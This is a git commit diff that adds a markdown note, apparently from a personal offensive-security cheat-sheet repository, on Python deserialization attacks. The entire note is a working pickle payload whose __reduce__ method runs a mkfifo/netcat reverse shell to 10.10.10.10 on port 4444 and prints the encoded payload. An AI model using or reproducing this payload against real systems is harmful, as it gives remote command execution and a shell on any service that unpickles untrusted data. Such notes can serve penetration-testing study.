first commit

Necronomicon/Attacks/Web Exploitation/Deserialization.md

@@ -0,0 +1,13 @@
+- Python
+	```Python
+	import pickle
+	import sys
+	import base64
+	command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ' '/bin/sh -i 2>&1 | netcat **10.10.10.10 4444** > /tmp/f' 
+	class rce(object):
+	  def __reduce__(self): 
+	    import os 
+		return (os.system,(command,))
+	print(base64.b64encode(pickle.dumps(rce())))
+	```
+